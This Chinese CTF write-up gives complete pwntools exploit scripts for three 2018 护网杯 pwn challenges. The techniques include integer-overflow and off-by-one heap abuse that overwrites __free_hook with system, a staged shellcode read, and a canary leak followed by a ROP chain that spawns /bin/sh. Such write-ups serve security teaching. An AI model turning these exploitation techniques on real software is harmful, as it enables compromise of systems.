2018护网杯pwn

task_shoppingCart

漏洞点
在这里插入图片描述

  1. 存在一个整数溢出漏洞,能够控制数组的下标指向任意位置。
  2. 存在一个off by one漏洞
    画出相应的数据结构
    在这里插入图片描述

method1——off-by-one

思路
1.先通过构造unsortbins,利用edit泄露arena+232地址,得到libcbase
2.通过off-by-one将bss_name_adr[0]指向input chunk中,然后通过构造payload,使bss_name_adr[0]指向__free_hook,然后edit将system覆盖__free_hook
exp

from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
Libc = ELF(libc_name)
def DEBUG(instruction,i=0):
    if i!=1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def get_money():
    p.sendlineafter('be a rich man!\n','1')
    p.sendlineafter('RMB or Dollar?\n','aaaaa')

def get_enough():
    p.sendlineafter('be a rich man!\n','3')

def add(size,name):
    p.sendlineafter('Now, buy buy buy!\n','1')
    p.sendlineafter('How long is your goods name?\n',str(size))
    p.sendafter('What is your goods name?\n',name)

def edit(index,name):
    p.sendlineafter('Now, buy buy buy!\n','3')
    p.sendlineafter('to modify?\n',str(index))
    recv=p.recvuntil(' to?\n',drop=True)[-6:]
    p.send(name)
    return recv

def free(index):
    p.sendlineafter('Now, buy buy buy!\n','2')
    p.sendlineafter('?\n',str(index))

for i in range(0x14):
    get_money()
get_enough()

add(0x90,'aaaa')
add(0x90,'/bin/sh\x00')
free(0)
add(0,'')
#instruction = ''
#DEBUG(instruction)
recv=edit(2,'aaaa').ljust(8,'\x00')
#################get_system#############################
print hex(u64(recv))
Libc.address = u64(recv)- 0x10 - 232 -Libc.symbols['__malloc_hook']
system2 = Libc.symbols['system']
print hex(system2)
#############################################
#instruction='x/32xg '+str(hex(system2))
index1=(-0x1&0xffffffffffffffff)
edit(index1,'b'*8)
index2=(((0x561161d69140-0x561161d691e0)/8)&0xffffffffffffffff)
payload = (str(index2)+'\n')
payload += '2\n'+'1\n'#free时需要输入的参数,必须在构造pyload时添加
payload =payload.ljust(0x1000-0x20,'a')
payload+=p64(Libc.symbols['__free_hook'])
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendafter('to modify?\n',payload)
p.recvuntil(' to?\n')
p.send(p64(system2))
p.interactive()

method2——

在这里插入图片描述
利用这个指向自己的指针,可以泄露出基地址。
通过bss_name_adr构造bss_name,从而实现任意写
例如在0x55e69149d0a8写入0x55e69149d0a0,在0x55e69149d0a0写入目标地址,从而实现目标地址任意写。
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
def DEBUG(instruction,i=0):
    if i!=1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def get_money():
    p.sendlineafter('be a rich man!\n','1')
    p.sendlineafter('RMB or Dollar?\n','aaaaa')

def get_enough():
    p.sendlineafter('be a rich man!\n','3')

def add(size,name):
    p.sendlineafter('Now, buy buy buy!\n','1')
    p.sendlineafter('How long is your goods name?\n',str(size))
    p.sendafter('What is your goods name?\n',name)

def edit(index,name):
    p.sendlineafter('Now, buy buy buy!\n','3')
    p.sendlineafter('to modify?\n',str(index))
    p.recvuntil(' to?\n')
    p.send(name)


def free(index):
    p.sendlineafter('Now, buy buy buy!\n','2')
    p.sendlineafter('?\n',str(index))

for i in range(0x14):
    get_money()
get_enough()

add(0x90,'aaaa')
add(0x50,'/bin/sh\x00')
free(0)#加载free的libc值到got表中
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-47)&0xffffffffffffffff))
recv=(p.recvuntil(' to?\n',drop=True)[-6:]).ljust(8,'\x00')
aim = u64(recv)
p.send(p64(aim))

instruction =''

print hex(u64(recv))
#0x202000
#
elf.address=aim-0x202000-0x68

edit((-20)&0xffffffffffffffff,p64(elf.got['free']))
edit((-19)&0xffffffffffffffff,p64(elf.address+0x2020a0))
#DEBUG(instruction)
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-39)&0xffffffffffffffff))
recv=p.recvuntil(' to?\n',drop=True)[-6:].ljust(8,'\x00')#泄露free libc地址
free_libc=u64(recv)
libc.address=free_libc-libc.symbols['free']
p.send(p64(libc.symbols['system'])[:7])
free(1)
p.interactive()

six

先分析一下程序
在这里插入图片描述
取两个随机数,作为映射起始地址,一块用于存放shellcode,一块作为stack

  v3 = (void (__fastcall *)(__int64, char *))dest;
  memset(&s, 0, 8uLL);
  puts("Show Ne0 your shellcode:");
  read(0, &s, 6uLL);
  sub_B05((__int64)&s);                         // check
  v4 = strlen(src);             // inint_shellcode= 0x30
  memcpy(dest, src, v4);
  v5 = (char *)dest;
  v6 = strlen(src);              
  memcpy(&v5[v6], &s, 7uLL);  //inint_shellcode+input_shellcode to dest
  v3(qword_202098, &s);//execve dest
/*init_shellcode
seg000:0000000000000000                 mov     rsp, rdi
seg000:0000000000000003                 xor     rbp, rbp
seg000:0000000000000006                 xor     rax, rax
seg000:0000000000000009                 xor     rbx, rbx
seg000:000000000000000C                 xor     rcx, rcx
seg000:000000000000000F                 xor     rdx, rdx
seg000:0000000000000012                 xor     rdi, rdi
seg000:0000000000000015                 xor     rsi, rsi
seg000:0000000000000018                 xor     r8, r8
seg000:000000000000001B                 xor     r9, r9
seg000:000000000000001E                 xor     r10, r10
seg000:0000000000000021                 xor     r11, r11
seg000:0000000000000024                 xor     r12, r12
seg000:0000000000000027                 xor     r13, r13
seg000:000000000000002A                 xor     r14, r14
seg000:000000000000002D                 xor     r15, r15
*/

shellcode先将我们申请的第二块地址作为stack,然后清空通用寄存器。因为前面申请的两块地址的起始地址是随机数,存在stack在shellcode的低地址端附近的情况。
这个题里面只允许输入长度为6的shellcode,所以我们必须要再次输入,所以第一次输入的shellcode必须是0号系统调用——read。
,然后再次read将使得第二次shellcode存放至第一次shell code后面。
exp

from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
context.binary='./six' #we need the x64 shellcode
p=process("./six")
elf=ELF('./six')

def DEBUG(instrction,i=0):
    if i==0:
        pwnlib.gdb.attach(p)
    else:
        pwnlib.gdb.attach(p,instrction)

instruction=''
p.recvuntil('Show Ne0 your shellcode:\n')
Read=asm('''
push rsp
pop rsi
mov edx,esi
syscall
''')
p.send(Read)
#DEBUG('',0)
#shellcode = 0x36,we only need the offset of mmap is 0xc00.
payload =asm(shellcraft.nop())*0xc36+asm(shellcraft.sh())
p.send(payload)
p.interactive()

不一定第一次就能行,十六分之一的几率,慢慢试吧骚年!

huwang

这道题坑很多!
关键在于666函数。

  1. 因为需要预测散列函数值,所以我们必须对散列函数的输入必须进行控制。
  2. snprinf 的返回值是欲写入字符数。所以我们才能在后面进行栈溢出

解法

  1. 写入文件时,会先清空文件,所以我们我们能够预测散列函数值。从而进入下面这个函数。然后就是基本的栈溢出了。
    在这里插入图片描述
  2. 通过输入name(size=25)来泄露处canary。为栈溢出做准备。
    在这里插入图片描述
    exp
from pwn import *
import md5
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']



def DEBUG(instruction,i=0):
    if i==0:
        pwnlib.gdb.attach(p)
    else:
        pwnlib.gdb.attach(p,instruction)

def add(size,content):
    p.sendlineafter('command>> \n',str(1))
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)

def free(index):
    p.sendlineafter('command>> \n',str(2))
    p.sendlineafter(':',str(index))


instruction='''
b *0x401556
c
x/100xg $rbp-0x110
'''

##第一次清空/tmp/secret,从而使第二次能够预测出md5
for i in range(2):
    p=process('./huwang')
    elf=ELF('./huwang')
    libc=ELF('./libc.so.6')
    m = md5.new()
    m.update('\x00'*16)
    md5_zero =m.digest()
    p.sendlineafter('command>> \n',str(666))
    p.recvuntil('name\n')
    p.send('abe'.ljust(0x19,'a'))#leak canary
    p.recvuntil('secret?\n')
    p.sendline('y')
    if i==0:
        p.sendlineafter(':\n',str(-1&0xffffffff))#使加密足够多次,使其能够在未完全写入文件时关闭程序,关闭文件,从而达到清空文件的目的
        sleep(0.1)
        p.close()
    
    else:
        p.recvuntil('secret:\n')
        p.sendline(str(1))
        secret=md5_zero
        p.recvuntil('secret\n')
        p.send(secret)
        p.recvuntil('abe'.ljust(0x19,'a'))#24+1(覆盖canary的最低位'\x00')
        recv=p.recv(13)#接收当前栈帧的canary和rbp

        canary=u64('\x00'+(recv[:7]))
        stack =u64((recv[7:]).ljust(8,'\x00'))-0xa0
        print hex(canary),hex(stack)
        #DEBUG(instruction,1)        
        occupation='a'*0xff#因为snprinf返回值是欲写入字符数,所以这里要尽可能大,为后面栈溢出做铺垫
        p.recvuntil('occupation?\n')
        p.send(occupation)
        sleep(0.1)

        p.recvuntil('[Y/N]\n')
        sleep(0.1)
        p.sendline('Y')
        '''
        0x0000000000401573 : pop rdi ; ret
        0x000000000040156A : p_5
        '''
        pop_rdi = 0x0000000000401573#配合只有一个参数的的函数
        p_5=0x000000000040156A#这是万能执行函数rop chain——init
        payload='a'*0x108+p64(canary)+p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])
        payload+=p64(elf.plt['puts'])
        payload+=p64(p_5)+p64(0)+p64(1)+p64(elf.got['read'])+p64(8*4)+p64(stack+19*8)+p64(0)+p64(0x0000000000401550)+'a'*8*7
        p.send(payload)
        puts=u64(p.recv()[-7:-1].ljust(8,'\x00'))
        libc.address=puts-libc.symbols['puts']
        system=libc.symbols['system']
        #print hex(puts)
        payload=p64(pop_rdi)+p64(stack+22*8)+p64(system)+'/bin/sh\x00'
        p.send(payload)
        p.interactive()


# import md5
# m = md5.new()
# m.update('\x00'*16)
# md5_zero =m.digest()
# z=''
# for i in md5_zero:
#     z+=str(hex(ord(i))[2:])
# print z

比较笨,rop的很生硬>.<

https://xz.aliyun.com/t/2897
https://blog.csdn.net/snowleopard_bin/article/details/83119665

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值